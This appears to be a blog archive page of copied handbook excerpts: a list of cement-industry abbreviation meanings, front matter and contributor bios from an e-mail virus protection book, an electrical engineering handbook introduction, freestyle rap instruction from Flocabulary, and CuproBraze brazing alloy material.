Kilo calorie
kilo calorie per kilogram
Kilogramme
kilogramme/kilogramme
load in kilogrammes per sq. centimetre
kilogrammes per cubic metre
kilometer
kilovolts
kilovolt amperes
kilowatt
kilowatt hour
kilowatt hours/ton
loss on ignition
lime saturation factor
low sulphur high sp. gravity
low tension
length to diameter ratio
low heat cement
low heat value
metre
motor control center
Managing Director
metre gauge
management information system
million tons per annum
square metre
cubic metre - actual volume
maximum
maximum demand
milligramme
milligram per normal cubic metre
milligram per cubic metre
magnesium oxide
minute/minimum
milli metre
pressure/draft in mms of water above/below atmos pressure
mega volt amps = 1000 * kva
nitrogen
sodium oxide
National Council of Cement and Building Materials
normal cubic metre
nitrous oxide
number
nitrogen dioxide
nitrogen oxides
degrees centigrade
degrees Fahrenheit
oxygen
ordinary portland cement
process and instrumentation
personal computer
Pollution Control Board
power distribution system
power factor
programmable logic controller
post office
phospherous pentoxide
paragraph
Portland Pozzolana Cement
Research Design & Standards organisation
Rail India Technical & Economic Services
ready mix concrete
root mean square
revolutions per minute
Reserve Bank of India
reinforced cement concrete
rapid hardening cement
reinforced suspension preheater
sulphur
screw conveyor
silica modulus
silica ratio
sales tax
star delta
squirrel cage
specific collection area
Second
silica I silicon dioxide
separate line calciner
sulphur dioxide
Specific gravity
square centimeter per gramme
Square centimeter
senior
slip ring
sulphate resistant cement
stator rotor resistance
straight trunk dialing
techno economic feasibility report
techno economic feasibility studies
Tons per annum
Tons per day
Tons per hour
thermal power station
tons per cubic meter
technical data sheet
temperature
titanium dioxide
transformer
television
uninterrupted power service
volts
vertical roller mill
vertical shaft kiln
value added tax
visible display unit
very important person
very very important person
with respect to
white cement
weight
year

[Syngress] E-Mail Virus Protection Handbook - Global Knowledge

2011-12-11T07:12:00.001+07:00

At Global Knowledge we strive to support the multiplicity of learning styles required by our students to achieve success as technical professionals. As the world's largest IT training company, Global Knowledge is uniquely positioned to offer these books. The expertise gained each year from providing instructor-led training to hundreds of thousands of students world-wide has been captured in book form to enhance your learning experience. We hope that the quality of these books demonstrates our commitment to your lifelong learning success. Whether you choose to learn through the written word, computer based training, Web delivery, or instructor-led training, Global Knowledge is committed to providing you with the very best in each of these categories. For those of you who know Global Knowledge, or those of you who have just found us for the first time, our goal is to be your lifelong competency partner. Thank your for the opportunity to serve you. We look forward to serving your needs again in the future.

Warmest regards,
Duncan Anderson President and Chief Executive Officer,
Global Knowledge

Contributors

Philip Baczewski is the Associate Director of Academic Computing Services at the University of North Texas Computing Center. He serves as project manager for university student Internet services, and works with client server implementations of IMAP, IMSP, SMTP, and LDAP protocols. Philip also provides technical consultation support in the areas of mainframe and UNIX programming, data management, electronic mail, and Internet services. Philip holds his Doctorate in Musical Arts, Composition from the University of North Texas.
Brian Bagnall is a Sun Certified Java Programmer and Developer. His current project is designing and programming a distributed computing effort for Distco.com. Brian would like to say thanks to Deck Reyes for his help with the material. He would also like to thank his family for their support. Contact Brian at bbagnall@escape.ca.
Chris O. Broomes (MCSE, MCP+I, MCT, CCNA) has over seven years of networking experience. He started his career as a con-sultant at Temple University, and has worked with organizations such as Morgan, Lewis & Bockius, Temple University Dental School, and Dynamic Technologies, Inc. Currently, Chris works in Philadelphia as a Network Administrator at EXE Technologies, Inc., a global provider of business-to-business e-fulfillment solu-tions.
Patrick T. Lane (MCSE, MCP+I, MCT, CIW Foundations, CIW Server Administrator, CIW Internetworking Professional, and CompTIA Network+ and i-Net+) is a Content Architect for ProsoftTraining.com who assisted in the creation of the Certified Internet Webmaster (CIW) program. He holds a Master’s degree in Education. Lane began working with computers in 1984, and has developed curriculum and trained students across the com-puter industry since 1994. He is the author of more than 20 technical courses, the director of the CIW Foundations and CIW Internetworking Professional series, and a member of the CompTIA Network+ Advisory Committee. Lane’s work has been published in six languages, and he has been a featured speaker at Internet World.
Michael Marfino is the IS Operations Manager for EDS in Las Vegas, Nevada. He earned a Bachelor’s of Science degree in Management Information Systems from Canisius College in Buffalo, N.Y. He has over a decade of technical industry experi-ence, working in hardware/software support, e-mail administra-tion, system administration, network administration, and IT management. His tenure includes positions at MCI Worldcom and Softbank.
Eriq Oliver Neale is a full-time computing technology profes-sional, part-time author and teacher, and occasional musician. He has worked in the computer support industry for over 13 years, and has been on the anti-virus bandwagon since before Michelangelo hit the national media. His recommendations for practicing “safe hex” have been presented in numerous articles and seminars. Eriq lives in the North Texas area with his wife and their two dogs, seven cats, and a school of Mollies that are reproducing faster than believed possible. Eriq has been known to teach the occasional class in web development and attend major league baseball games when not otherwise occupied.

Technical Editor

James Stanger (Ph.D., MCSE, MCT, CIW Security Professional) is a writer and systems analyst currently living in Washington State, where he works for ProsoftTraining.com’s research and development department. He also consults for companies such as Axent, IBM, DigitalThink, and Evinci concerning attack detec-tion and analysis. In addition to Windows 2000 and Linux secu-rity issues, his areas of expertise include e-mail and DNS server security, firewall and proxy server deployment, and securing Web servers in enterprise environments. He is currently an acting member of the Linux Professional Institute (LPI), Linux+, and Server+ advisory boards, and leads development concerning the Certified Internet Webmaster security certification. A prolific author, he has written titles concerning network security auditing, advanced systems administration, network monitoring with SNMP, I-Net+ certification, Samba, and articles concerning William Blake, the nineteenth-century British Romantic poet and artist. When not writing or consulting, he enjoys bridge and cliff jumping, preferably into large, deep bodies of water.

Technical Reviewer

Stace Cunningham (CCNA, MCSE, CLSE, COS/2E, CLSI, COS/2I, CLSA, MCPS, A+) is a Systems Engineer with SDC Consulting located in Biloxi, MS. SDC Consulting specializes in the design, engineering, and installation of networks. Stace is also certified as an IBM Certified LAN Server Engineer, IBM Certified OS/2 Engineer, IBM Certified LAN Server Administrator, IBM Certified LAN Server Instructor, IBM Certified OS/2 Instructor. Stace has participated as a Technical Contributor for the IIS 3.0 exam, SMS 1.2 exam, Proxy Server 1.0 exam, Exchange Server 5.0 and 5.5 exams, Proxy Server 2.0 exam, IIS 4.0 exam, IEAK exam, and the revised Windows 95 exam. In addition, he has coauthored or technical edited about 30 books published by Microsoft Press, Osborne/McGraw-Hill, and Syngress Media as well as contributed to publications from The SANS Institute and Internet Security Advisor magazine. His wife Martha and daughter Marissa are very supportive of the time he spends with his computers, routers, and firewalls in the “lab” of their house. Without their love and support he would not be able to accomplish the goals he has set for himself.

Electrical Engineer Portable Handbook

2011-12-11T06:47:00.001+07:00

1.0 INTRODUCTION

This chapter provides information of a general nature that is frequently needed by the electrical design professional. Information that follows in subsequent chapters is more specific and closely follows the design process.

1.1 CHECKLISTS

The following checklists should prove useful in the execution of projects.

Figure 1.1: Project to do checklist (electrical).

Figure 1.2: Drawing design checklist (electrical).

Figure 1.3: Site design checklist (electrical).

Figure 1.4: Existing condition service & distribution checklist.

Figure 1.5: Design coordination checklist (electrical).

Figure 1.6: Fire alarm system checklist.

1.2 ELECTRICAL SYMBOLS AND MOUNTING HEIGHTS

Electrical Symbols

Electrical symbols can vary widely, but the following closely adhere to industry standards. Industry standard symbols are often modified to meet client and/or project specific requirements.

Figure 1.7: Electrical symbols.

Mounting Heights

Mounting heights of electrical devices are influenced by and must be closely coordinated with the architectural design. However, there are industry standard practices followed by architects as well as code and legal requirements, such as Americans with Disabilities Act (ADA) guidelines. The following recommended mounting heights for electrical devices provide a good guideline in the absence of any specific information and are ADA compliant.

[Flocabulary] Rapper's Handbook - Part 1B

2011-12-10T12:17:00.001+07:00

Step 6. Include Metaphors
Metaphors and similes are an advanced but important part of freestyle rapping. They are often found in a rapper’s funniest and cleverest lines, and they really differentiate beginners from skilled emcees. Take Talib Kweli’s lines:

We’re like shot clocks,
interstate cops and blood clots,
my point is... your flow gets stopped

Metaphors and similes are really the backbone of an advanced rapper. He’ll spit more comparisons than a door-to-door salesman to sink the competition like a leaky submarine. Learn how to use metaphors correctly, and your rhymes will not only be funnier and smarter, but they’ll sound better too. Take Kanye’s line:

Ooh, girl, your breath is harsh,
cover your mouth up like you’ve got SARS

Step 7. Reference current events
See what Kanye did in that line above? He snuck in the cultural reference. Other than amazing in-rhyming and dope metaphors, the most impressive thing a freestyle rapper can do is make timely references to culture and current events. Let’s say, for example, that you are at a cipher, rapping with some of your friends (dissin’ each other, just goofin’ around), and the day before you remember reading that Oprah recently lost 200 pounds. How dope is it if you throw that in your rhymes:

You big now, but you ‘bout to get cut down,
smaller than Oprah Winfrey dropping 200 pounds

I recently heard an emcee reference soaring gas prices:

Fast? son, that ain’t fast.
I’m rising faster than the price of gas

The sooner you can reference it, the better.

Step 8. Pass the mic like it’s contagious
Rap in ciphers - groups of two or more rappers playing off of reach other, trading verses. This is a great way to improve and it’s hell of fun. One of your friends can beat box, you can throw a beat on the stereo, or just freestyle over nothing. Take turns, cutting in whenever you want or when someone “passes you the mic” (you probably won’t have an actual mic). Never drop the invisible mic! Pick it up and pass it! Work off of other people’s rhymes. If they throw in something about the bible, pick up that theme and run with it. Try to stick to similar topics, or riff off of topics in creative ways. Expand / reference their lines. When my friends and I cipher, we like to kick it about random stuff that we all know about, like our personal lives.
Me:

Derek’s life is tough, his job is rough,
plus Suparna took all his dopest stuff,
for her apartment in NYC, ‘cause that’s where she be,
holding down a job at a publishing company

Derek:

Yeah, my life is tough, but not that hard,
‘cause I spend all my nights watching Sponge Bob,
Escher you the one with the job that sucks,
asking people if they want more pepper on their halibut

Or take this example from Eminem’s battle with Lotto from 8-Mile. Lotto starts off by referencing the old 50’s TV show, Leave it to Beaver. Eminem picks it up and spits it right back, referencing all the characters from the show. Lotto:

Fu** ‘Lotto,’ call me your leader
I feel bad I gotta murder that dude from “Leave It To Beaver”

Eminem:

Ward, I think you were a little hard on the Beaver So was Eddie Haskell, Wally, and Ms. Cleaver

Step 9. When you’re in a cipher, think ahead
One of the great things about rapping in ciphers is that after you spit one verse you get a break before you spit again. This break is your best friend. It’s during this break that you’ll be listening and responding to your friends’ verses. But you’ll also be planning out your next verse. Whenever I’m in a cipher, I never like to get back on the mic until I’ve written 4-6 quality lines. To be most impressive, these lines will be about things around you, or they’ll be about something your friend said in his verse. Let’s say your friend is wearing a shirt that has Daffy Duck on it. While he’s spitting, you can write a line like this:

I know you’ve had a tough year and had some crappy luck, but why you gotta wear a shirt with the face of Daffy Duck

That’s not an amazing line, but I guarantee you that in a cipher people will go nuts over that. (Make sure to point at his shirt as you say it). I always try to write 2-3 of those rhyming couplets before I spit again. Usually I’ll drop one right away and then use the other two later in the verse.

Step 10. Listen and Practice
Freestyling, like sculpting or shooting three-pointers, takes an insane amount of practice. Practice as much as you can. Freestyle with homeless people, with your friends, and with your family. Listen to pro rappers who freestyle and try to analyze their styles. Rap all the time, practice all night and day. Practice might not make perfect, but it makes damn good!

[Flocabulary] Rapper's Handbook - Part 1A

2011-12-10T11:57:00.001+07:00

Freestyle rapping (or freestyling or freeing) is improvising rap lyrics in real time. It’s spitting lyrics off the top of your head. While some frontin’ pseudo-freestylers actually just rap lyrics they wrote down and memorized, true freestylers make it up as they go. Not every good freestyler drops a good album, but in general your freestyle skills are directly related to your overall rap skills. So when you start out rapping, start out freeing. Soon you’ll be running ciphers like track meets.

The Official Flocabulary 10-Pronged Technique for Learning to Freestyle

Step 1. Start Easy
No need to start off rhyming “the toasty cow’s utter” with “most o’ my flow’s butter”. No need to even rhyme. Just forget everything else and flow. The rhythm can be simple, the words might be 2nd grade level, but you’re still freestyling as long as you make it up. This was my first freestyle rap, which I spit when I was 11 months old:

I am funny,
I like bunnies,
touch my tummy,
mummy

Step 2. Keep Flowing
You’re going to make mistakes. You’re going to sound stupid. Make your first freestyle rap verses your stupidest verses just to get them out of the way. Keep flowing. Can’t think of a rhyme? Keep flowing! Stutter over words? Keep flowing. It’s inevitable that at some point some of your lines won’t rhyme, won’t make sense, or that you will inadvertently diss yourself (I knew one guy who accidentally dissed himself all the time when we were freestyling), just keep flowing. If you make a mistake, do your best to incorporate your mistake into your next lines like this:

I drive you bananas, apples and oranges,
ah.... damn, nothing rhymes with oranges,
to make it rhyme, I squeeze it into orange juice,
flow’s tighter than small undies... yours are mad loose

Another technique to use when you find yourself in a bind is to whip out a quick filler. Fillers are just little phrases that you can insert occasionally to give you more time to think of a dope line. Every emcee has his own fillers. For example, Eyedea says “I grab the microphone.” Jin often says, “I’m (nasty) when I’m freeing.” I usually say, “you know what I’m sayin’?” Try to come up with a few fillers that you feel comfortable using. They’ll bail you out of some awkward pauses. As you get better, try not to rely too heavily on your fillers.

Step 3. Rhyme in your mind ahead of time
Here’s the biggest trick to freestyle rapping: as soon as you know what word you’re going to end line 1 with, your mind should start racing to find out a word you can use at the end of line 2. Let’s say your first line is, “I’m exhausted from doing summer reading.” As soon as you realize that you’re going to end the line with “reading”, you should immediately think of something that rhymes, and might possibly be related:
meaning, weeding, beading, ceiling, teething
Pick one and then try to carve the second line to lead toward that word. Let’s say you pick “weeding”, your next line might be:
I’m exhausted from doing summer reading, breaking my back digging holes, painting and weeding
If you pick “meaning,” you might say:
I’m exhausted from doing summer reading, my eyes skim the page but always miss the meaning
The real trick of freestyling is to have your mind constantly racing ahead of what you’re saying. This isn’t easy, but you’ll get quicker with practice.

Step 4. Write
Writing raps will help you freestyle. When you write, rhymes become imbedded in your head, and you’re more likely to be able to pull these rhymes off the top of your head in a freestyle.
With that said, you should never spit a long pre-written verse at a cipher, but you can certainly use rhyming words and shorter phrases that you worked out before hand. When Eminem rhymes “Ewoks, treetops, and Reeboks” in a freestyle, you better believe he’s thought of those rhymes before. He’s still freeing, but he’s using rhyme words he’d already worked out.
Sitting down and writing everyday will improve your freestyles. It will expand your memory of rhyming words, and it will give you experience working these words into clever lines. It’s also a good idea to write a few multi-purpose bars that you can spit at a freestyle in case you get really stuck. Put those lines in a “Break Out Rhymes In Case of Emergency” box, and smash the glass when you need help. This isn’t cheating; it’s canny.
When you’re writing these “in case of emergency” lines, make them strong and interesting, but not too ridiculously amazing. Don’t do this:

I’m too good for school I can’t sit in a chair, (free)
They pulling my leg, like they pulling my hair, (free)
Hit or miss, call it quits, rippin’ hits a little bit too fast to figure it, (written)
But I’m sippin’ it, too ridiculous the way I’m flippin’ it,(written)
That’s just the way that the rap goes, (free)
Appealing to your eyeballs and your nose (free)

You don’t want you’re “emergency” rhymes to be that obvious. Try to write rhymes that generally match your level of freestyle, but are clever and smart.

Step 5. Rap about things around you
This is definitely the best way to prove to the crowd that you’re really freestyling and not just spitting something you wrote in your room the night before. It’s also a huge crowd-pleaser, ‘cause its impressive and it makes everyone real glad that they’re hanging out with you. Rap about things you see. Incorporate objects, actions, people, clothing, situations, and sounds into your rap. When I’m in the shower, I’ll rap about what kind of soap I’m using:

Trying hard to get clean, maybe just a smidgen,
I use ghetto Dove soap, also known as pigeon

Or at a battle competition, this is crucial. You’ve got to spit things specific about your opponent. These are the hardest-hitting punches. Take Eminem’s freestyle (not really a freestyle - because it was pre-written to sound like a freestyle) on 8-mile. He’s battling a guy named Lotto who’s wearing a tight, white tank top:

Lookin’ like a cyclone hit you,
Tank top screamin’,
‘Lotto, I don’t fit you!

If you’re rapping while driving around in your car, rap about how you feel or things you see.

I’m hungry driving in this old Volvo,
I think I’ll stop by Olive Garden and drink some olive oil

[Flocabulary] The Rapper's Handbook - Preface

2011-12-10T11:27:00.001+07:00

A rapper is a poet with a beat. To rap is to spit, and a rapper spits syncopated words that tell stories, show off, and teach. A rapper is also an emcee, and an emcee moves the crowd. Whether he’s rocking a basement party in the Bronx or controlling the mic for thousands of screaming fans at the Superdome, he uses his infectious rhymes to connect with his audience. A rapper is also a lyricist, and a lyricist plays with words. A lyricist crafts complex rhymes full of metaphor, alliteration, in-rhyme, assonance and enough wordplay to make a crossword puzzle dizzy.
He flows with stylish ease, dropping knowledge on the beat, behind the beat, or in the pocket, right where he wants to. A rapper is all of these things. Hip-hop music has come a long way in the past 30 years. From back rooms and block parties in South Bronx in the late seventies to the Golden Age in the late eighties through gangsta rap in the nineties to today, where you can hear emcees rapping all over the world in dozens of languages. In Poland and Italy, in China and Korea, in India and Ghana, in Peru and Columbia, a whole generation has adopted hip-hop as their own. They’re not just listening; they’re writing rhymes too. It makes sense. Rap music is the most democratic music in the world, open to anyone with vocal chords.
You don’t need a piano or a drum set, or money for guitar lessons. All you need is your voice and a desire to spit. A pad and pen, maybe, but those are optional. There is no cookie-cutter for rappers, and this book is for everyone out there with a desire to freestyle, write rhymes, or battle. Freestyling and writing rhymes are not only truly thrilling and fun, but they’ll also open your mind up in ways you probably never have before. Freestyling and battling involve a quickness of thought that rivals any thinking exercise. Writing involves analytic thinking and creativity. Whether you ever release an album or not, those are skills that you’ll use for the rest of your life.
This book is the first comprehensive handbook for rappers. It covers all of the major aspects of rapping, divided into sections. You don’t need to read this book straight through. Feel free to skip around, though some of the sections may reference earlier chapters.
There is a lot of information here. Don’t try to swallow it all at once. Elevating your rhymes takes time and effort. It may be worth it to tackle one section at a time, before moving on. Of course, it’s up to you.
This book quotes from various artists including Eminem, Jay-Z, Rakim, Bun B, Dead Prez, Talib Kweli, Chamillionaire, Papoose, Tupac, Mos Def, Tonedeff, Kanye West, Immortal Technique, Dizzee Rascal, Lauryn Hill, Substantial, Session, Wordsworth, Punchline, Canibus, Sage Francis, Cormega, Consequence, Outkast, Black Thought, Ludacris, Raekwon, the Coup, Masta Ace, and from various netcees from the Flocab Rhyme Boards and EmceeBattleForum. com. We apologize if you’re favorite rapper didn’t make this list. Obviously, there is no possible way to include every skilled emcee out there.
One of the best ways to improve as an emcee is by listening to great hip-hop and analyzing what the rappers are doing. All of the lyrics mentioned in this book are from songs that are worth buying. You can find a full list of albums and links to buy them on Flocabulary.com/artists.
Use this book to learn more about the various techniques that rappers use to craft amazing lines. But as with everything, don’t just copy what’s inside. When you spit, be sure to tap into your inner creativity and bring something real and personal. Those are the best rhymes: the ones that are not only technically interesting but also come from a deeper, realer place. Whether you know it or not, we’re all capable of writing rhymes like that.
Enjoy the book and always spit fire.
- Emcee Escher and Alex Rappaport

Brazing Handbook - Copper alloys for CuproBraze

2011-12-10T10:28:00.000+07:00

Conventional deformation-hardened alloys soften when exposed to brazing temperatures. Fortunately, researchers faced this challenge and developed strong materials that could withstand the temperatures of brazing up to 670ºC and remain strong. Anneal resistant copper alloys are strengthened by mechanisms other than merely deformation hardening. In this handbook the basics for the materials for Cuprobraze are described.

Fin material

The basic alloying element in this anneal resistant copper is chromium. The mechanism of the alloying is that it forms copper-chromium intermetallic compounds. During the casting operation most of the chromium is dissolved in the copper matrix. Before the final rolling procedure the material is annealed and some of the precipitates will be dissolved. In this state there is a lot of chromium in solid solution, and with the consequence that the electrical conductivity is much lower than for standard copper. The electrical conductivity is around 60% IACS, heat conductivity is proportional to the electrical conductivity. The material is delivered to customers in this condition. After the fins have been formed and assembled with the tubes and headers to a core, brazing is done in a furnace at 640°C to 660°C. The brazing process can be regarded as the last heat treatment for this copper alloy. During brazing the chromium in the solid solution precipitates out of solution from the copper matrix. The precipitates that have the greatest effect in preventing softening are 3 nanometers (0.000003 mm) in size. The result is a material that now exhibits an electrical conductivity of around 90% IACS and with the retained strength.
The most used temper for material for normal corrugated fins is called standard temper. For more complicated formed fins, copper in soft temper is recommended. Nominal properties of the copper-fin alloy before and after brazing are listed in Table 1.

Because soldering temperatures are not high enough to raise the thermal conductivity, this new copper-alloy fin material must not be used to make conventional soldered radiators. It should only be used for CuproBraze heat exchangers. The CuproBraze brazing operation is needed to restore the thermal conductivity. Additional physical properties for copper fin material are listed in Table 3.
The copper material for Cuprobraze will soften at a higher temperature compared with normal fin copper. Figures 2 and 3 show the softening for the copper fin material for CuproBraze at different holding times and temperatures.

Figure 2. Yield and tensile stresses for standard temper at different
temperatures and holding times.

Figure 3. Yield and tensile stresses for soft temper at different
temperatures and holding times.

Tube Material

The conventional brass that is used for radiator tubes is of composition 65 -70% copper and 30-35% zinc. The brass alloy that has been developed for higher temperature joining purposes is basically a brass composed of 85% copper and 14% zinc. Figure 4 compares the softening of the yield strength for normal 1070 brass and the anneal resistant brass. To achieve anneal resistance, a mechanism had to be introduced in the material to avoid re- crystallization. The principle that is utilized in this alloy is the use of precipitates that prevent the material to re-crystallize. The brass is alloyed with about 1% iron.

Figure 4. Comparison of SM 1070 brass with the anneal resistant
brass.

The iron forms particles that are about 0.2 micrometers in size. That fact, in combination with a very small grain size gives a very high resistance to re-crystallization. Nominal mechanical properties for brass tube materials, before and after annealing, are listed in Table 2. Additional physical properties for the tube material are listed in Table 3. The basic contribution to softening resistance is the fine grain size coupled with the grain size retention even after being subjected to temperatures as high as 670°C. The grain size of the base material is adjusted to 3 micrometers (0.003 mm).

Table 2 -- Nominal mechanical properties of brass tube material for
CuproBraze .

Table 3 - Nominal physical properties of copper and brass materials
for CuproBraze.

When using the tube material for HF-welding, note the differences in melting temperatures and melting ranges (A and B) compared with normal tube brass. See Figure 5 and table 3.

Table 3. Melting properties for tube brasses.

Figure 5. The binary phase diagram copper-zinc showing the
differences in melting temperatures and melting range between
normal tube brass (SM 1070 dashed lines) and the CuproBraze®
tube alloy (SM 2385 solid lines).

This means that higher energy input in the welding coil is needed. The smaller melting range implies a closer control of the welding parameters. Thus the welding parameters have to be adjusted relative Cu70Zn30 brass. In figure 6 the softening properties for the yield and tensile stresses at different temperature and holding times are shown.

Figure 6. Yield and tensile stresses for tube brass at different
temperatures and holding times.

The header brass material is a Cu64ZnNi3 (C74400) brass. It was originally developed for lamp socket production requiring multiple forming processes. The material exhibits excellent forming properties and good mechanical properties even at elevated temperatures. The alloy is solution hardened by the nickel addition and that accounts for the retained mechanical properties after the brazing operation. The mechanical data before and after the brazing process are shown in Table 4. The physical properties of the header brass are shown in Table 3.

Table 4 -- Nominal mechanical properties of brass header material
for CuproBraze .

In figure 7 the softening properties for the yield and tensile stresses at different temperature and holding times are shown.

Figure 7. Yield and tensile stresses for header brass at different
temperatures and holding times.

Strength at elevated temperatures

Besides being anneal resistant, the new copper-fin and brass-tube alloys have high strength at elevated temperatures. For example, when the operating temperature is increased from 0°C to 300°C the tensile strength of the brass-tube alloy only decreases from 400 N/mm2 to 260 N/mm2, and the tensile strength for copper-fin alloy only decreases from 350 N/mm2 to 260N/mm2. Similarly, the fin and tube alloys retain much of their yield strength at 300°C. Figure 8 illustrates the strength at the specific temperature from room temperature to 300°C for the two alloys. New generations of charge air coolers need to operate at temperatures around 300 ºC. The copper fins and brass tubes described here are well suited for such high-temperature service.

Figure 8. Tensile strength (Rm) and yield strength (Rp) of copper
and brass materials for CuproBraze® at elevated temperatures.

Brazing Handbook - General

2011-12-10T09:51:00.000+07:00

New brass and copper alloys offer high strength as well as excellent retention of strength at elevated operating temperatures. They can withstand high-temperature brazing processes without substantial loss in strength.
A Brazing Center has been established to build prototype heat exchangers based on these new alloys and to demonstrate the CuproBraze® process. As a result, CuproBraze® technology is now being applied globally in the manufacture of advanced heat exchangers using the new brazing process described in this manual.
Brazing furnaces have been developed for all capacities of production including batch, semi-continuous and continuous furnaces. This handbook provides an update on CuproBraze brazing technology in use today, and it will be regularly updated with the latest knowledge of the process.
It details trends in the selection of furnaces, the application of filler materials, the assembly of components and the control of brazing operations. The CuproBraze process was specifically developed for the manufacture of automotive and heavy-duty industrial heat exchangers. By using high-strength and high-conductivity copper and copper alloys, it is possible to manufacture strong, efficient and compact heat exchangers at a low cost with an environmentally friendly process.

Efficient heat exchangers

The high thermal conductivity and high strength of new copper and brass alloys have changed the rules of design for mobile heat exchangers.
The new brass-tube and copper-fin alloys offer high strength as well as excellent retention of strength at elevated operating temperatures. They make copper and brass extremely attractive once again for heat exchangers of all shapes and sizes, like mobile radiators, heaters and charge air coolers.
In recent years, designers have demanded lighter fins and tubes and hence stronger alloys for more-compact, lighter and higher-efficiency heat exchangers. An important advantage of thin gauge material is that, besides reducing weight, the lower cross-sectional area allows air to pass more freely through the core of the heat exchanger. The relative ease with which air flows through a radiator core is measured as a lower air pressure drop for a given performance. A low air pressure drop is highly desirable in advanced design of efficient compact heat exchangers for fuel-efficient vehicles.

Technology Development

The use of thin gauges in compact heat exchangers requires new processes. The International Copper Association responded to the industry need for a new generation of copper-brass radiators by developing CuproBraze technology, which is a new process now being applied globally in the manufacture of advanced heat exchangers. CuproBraze technology was specifically developed for application to automotive and heavy-duty industrial heat exchangers.
For example, it enables the manufacture of charge air coolers that can withstand higher temperatures than existing equipment, allowing the transportation industry to reduce emissions and increase fuel efficiency by replacing temperature-challenged aluminum charge air coolers with copper-brass counterparts.

Effects of annealing

The alloys used in conventional copper and brass radiators are designed for soldering below 450ºC. When subjected to high temperatures for long periods, these conventional alloys, soften due to annealing, a well understood metallurgical effect.
Annealing rearranges the positions of metal atoms in the metal lattice through solid-state diffusion effectively removing the deformations that would otherwise strengthen the alloys. The resulting decrease in yield strength is particularly steep for metals previously strengthened by rolling or other deformation-hardening processes. Annealing is time and temperature dependent. Because annealing is based on solid-state diffusion, metals and alloys can significantly lose strength well below the melting point; however, annealing is much more pronounced at temperatures close to the melting point.
Process engineers and radiator designers have long been confronted with an “either-or” type of dilemma. Brazing processes promised strong bonds at the joints but brazing weakened the bulk material because of softening. Heat-exchanger designers have been frustrated for several decades by these limitations. The industry had to wait for the development of anneal-resistant copper alloys before further advances could be made. As an example, figure 1 shows the softening properties for standard fin copper and the CuproBraze fin copper.

For decades, manufacturers avoided annealing effects in copper-brass radiators by using solders that melted well below annealing temperatures. These solders were used to bond copper fins to brass tubes and brass tubes to headers, which are the essential steps in radiator assembly. These methods are still widely employed today to make heavy-duty radiators for truck and off-road applications. A tremendous body of specialized manufacturing expertise and process knowledge that also includes many specialized machines and furnaces have been developed around this industry. The basic process consists of melting, flowing and solidifying the solder at the joint, typically forming a metallic bond with the soldered surfaces (or parent metals).
Soldering and brazing involve the same bonding mechanism except that soldering is defined as using filler metals that melt below 450ºC and brazing uses filler metals that melt above this temperature. In both soldering and brazing the bonding mechanism is a reaction between the filler metal and the parent metal or metals. Brazing and soldering usually result in alloying, i.e., a metallic-type bond forms at the interface.
Typically, the filler metal flows into the joint gap by capillary force , solidifies and forms a bond. The capillary force is dependent on the gap clearance, which means that the filler metal flows further into a closer than a wider gap. Oxide and contamination of the surface influence the capillary force negatively. Several factors affect the mechanical performance of the finished joint. For example, joint clearance and geometry are important. In general, the joint strength is higher for narrow joints. Other effects of geometry are the possibilities of slag entrapment and void formation in the joint. Interactions between the filler metal and the base metal take place in both soldering and brazing. Because of the higher temperatures for brazing, however, interactions are usually greater for brazing than soldering. The interactions are time and temperature dependent. To minimize interactions, the brazing temperature should be as low as possible, and the time period that the materials are held at the brazing temperature should be as short as possible.
For more detailed information regarding soldering and brazing in general, see references 8, 9 and 10. Many of the companies who sell brazing materials also have useful information regarding brazing in general.